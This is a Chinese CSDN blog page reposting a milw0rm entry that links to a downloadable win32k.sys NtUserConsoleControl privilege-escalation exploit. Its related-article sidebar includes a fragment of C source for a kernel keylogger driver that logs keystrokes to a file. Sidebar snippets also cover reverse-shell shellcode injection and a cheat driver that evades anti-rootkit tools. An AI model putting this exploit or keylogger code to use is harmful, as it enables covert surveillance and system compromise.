win32k.sys驱动的注入与利用漏洞

最新推荐文章于 2024-05-24 09:34:30 发布
最新推荐文章于 2024-05-24 09:34:30 发布
阅读量1.4k 收藏
点赞数
分类专栏： 代码与工具收藏 
win32k.sys驱动的注入与利用漏洞
Exploit:
http://www.ntinternals.org/win32k/NtUserConsoleControl_Exp.zip
back: http://milw0rm.com/sploits/2009-NtUserConsoleControl_Exp.zip

Description:
http://www.ntinternals.org/index.html#09_07_30

# milw0rm.com [2009-07-30]
yxyhack
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
驱动注入器
01-07
驱动注入器，可以修改某些不可描述的东西，具体你懂得
Microsoft Windows Win32k本地提权漏洞分析
further_eye的博客
11-27 835
MicrosoftWindows内核模式驱动程序中存在特权提升漏洞，该漏洞源于程序没有正确地处理内存中的对象。本地攻击者可利用该漏洞在内核模式下运行任意代码。
探秘Windows内核驱动注入：Reflective Kernel Driver Injection
最新发布
gitblog_00006的博客
05-24 427
探秘Windows内核驱动注入：Reflective Kernel Driver Injection 项目地址:https://gitcode.com/Professor-plum/Reflective-Driver-Loader 1、项目介绍 Reflective Kernel Driver Injection是一个创新的内核驱动注入技术，基于Stephen Fewer的Reflective D...
驱动注入工具
02-15
用于解决Windows安装时，找不到磁盘等问题，用驱动注入工具可以完美解决系统安装出现的问题，只需要把镜像文件导入此工具即可，专注开发，用心交流！谢谢支持!
加载您的驱动程序，如win32k.sys_C++_C_下载
09-02
CallMeWin32kDriver\n加载您的驱动程序，如 win32k.sys\n动机\n该功能是从某PUBG作弊驱动中分析出来的。\n它可以做什么？\n通过 Anti-Rootkit 工具防止直接转储\n绕过 MmCopyMemory\n隐藏世界不触发PG\n如何检测？\n...
win32k.sys系统文件
10-20
5. **更新操作系统**：保持Windows系统更新，修复已知漏洞和错误，可能会解决`win32k.sys`相关的问题。 6. **专业帮助**：如果以上方法无效，建议寻求专业技术人员的帮助，他们能更深入地诊断和修复问题。 在日常...
Windows Kernel Internals Win32K.sys
09-10
Win32K.sys位于内核层，与用户模式下的多个组件进行交互。例如，CSRSS.EXE负责控制台服务和远程桌面服务，WinLogon.EXE处理登录过程。用户模式下的进程通过Kernel32.DLL、NTDLL.DLL等基础库，调用如USER32.DLL、GDI...
BSOD_8E_WIN32K
09-13
用于蓝屏8E错误 WIN32K.SYS相关 的补丁
CVE-2015-1701：APT攻击中使用的Win32k LPE漏洞
01-30
此漏洞主要存在于Windows操作系统中的Win32k.sys内核模式驱动程序，是Windows图形子系统的核心组件。 **Win32k.sys驱动程序** Win32k.sys是Windows内核模式驱动程序，它负责窗口管理、图形设备接口（GDI）以及与...
驱动万能注入器
06-06
这个可是非常好的源码 没有使用任何模块 放心下载 绝对不留后门,不修改IE,卸载dll一直有点小问题,希望大家多交流
百度杀毒老版本的一款sys漏洞(源码),可注入任何进程
08-11
zip里包含易语言利用该漏洞的源码,实测注入OK,
联想驱动注入工具
11-22
联想驱动注入工具是款专门为联想电脑用户打造的驱动注入工具。它可以帮助用户在轻松的为电脑系统各种驱动程序，让各项硬件能够正常的工作。
驱动DLL注入源码
12-23
驱动DLL注入源码 没有什么好说的 ，超级强的源码
hook以驱动方式注入内核源代码
01-19
C语言写的ROOT记录器,编译通过了.#include "stdafx.h" #include "ScanCode.h" #include "DriverEntry.h" #include <stdarg.h> const WCHAR *DEVICE_NAME = L"\\Device\\MonkeyKingDeviceName"; const WCHAR *SYMOBL_NAME = L"\\??\\MonkeyKingSymbolicName"; const char *NT_DEVICE_NAME = "\\Device\\KeyboardClass0"; const char *LOG_FILE_NAME = "\\DosDevices\\c:\\MonkeyKing.txt"; int numPendingIrps = 0; /*---------------------------------------------------------------------------------------------------------------------------------------------*/ /************************************************************************ * 函数名称:DriverEntry * 功能描述:初始化驱动程序，定位和申请硬件资源，创建内核对象 * 参数列表: pDriverObject:从I/O管理器中传进来的驱动对象 pRegistryPath:驱动程序在注册表的中的路径 * 返回 值:返回初始化驱动状态 *************************************************************************/ STDAPI_(NTSTATUS) DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath ) { NTSTATUS retValue = STATUS_SUCCESS; TRACEMSG("初始化例程..."); pDriverObject->DriverUnload = OnUnload; for (INT32 i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){ pDriverObject->MajorFunction[i] = DispatchHandler; } pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; TRACEMSG("初始化例程...完成"); //创建设备。 TRACEMSG("创建设备..."); PDEVICE_OBJECT pKeyboardDevice = NULL; if (!NT_SUCCESS(retValue = CreateDevice(pDriverObject, &pKeyboardDevice))) { TRACEMSG("创建设备...失败"); return retValue; } TRACEMSG("创建设备...完成。键盘设备对象指针为：0x%x", pKeyboardDevice); //挂接设备。 TRACEMSG("挂接设备..."); if (!NT_SUCCESS(retValue = HookKeyboard(pKeyboardDevice))) { TRACEMSG("挂接设备...失败"); return retValue; } TRACEMSG("挂接设备...完成"); TRACEMSG("初始化线程..."); if (!NT_SUCCESS(retValue = InitThreadLogger(pDriverObject))) { TRACEMSG("初始化线程...失败"); return retValue; } TRACEMSG("初始化线程...完成");
Dll注入技术之驱动注入
热门推荐
Hades的博客
01-04 1万+
Dll注入技术之驱动注入 0x0 技术简介 实现环境 系统：Windows 7 64bit 工具：VS+WDK 驱动注入 我这里驱动注入的技术是：采用驱动向目标进程插入APC执行LdrLoadDll函数加载Dll模块。 可以注入64位Dll到64位进程或注入32位Dll到32位进程。暂时没有实现跨位数。 APC(异步过程调用)是一种内核机制，它提供了一种在特定线程上下文中执行定制例...
【安全漏洞】CVE-2021-1732 win32k漏洞分析
HBohan的博客
03-22 2835
漏洞描述 内核模块win32kfull.sys的win32kfull!xxxClientAllocWindowClassExtraBytes函数中存在Type Confusion漏洞，利用此漏洞进行越界读写，最终可实现本地提权 官方通报影响的windows版本: Windows 10 Version 1803/1809/1909/2004/20h2 Windows Server, version 1909/20H2(Server Core installation) Windows 10 Version f
驱动开发：内核ShellCode线程注入
CSDN
06-14 7813
还记得`《驱动开发：内核LoadLibrary实现DLL注入》`中所使用的注入技术吗，我们通过`RtlCreateUserThread`函数调用实现了注入DLL到应用层并执行，本章将继续探索一个简单的问题，如何注入`ShellCode`代码实现反弹Shell，这里需要注意一般情况下`RtlCreateUserThread`需要传入两个最重要的参数，一个是`StartAddress`开始执行的内存块，另一个是`StartParameter`传入内存块的变量列表，而如果将`StartParameter`地址填充
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值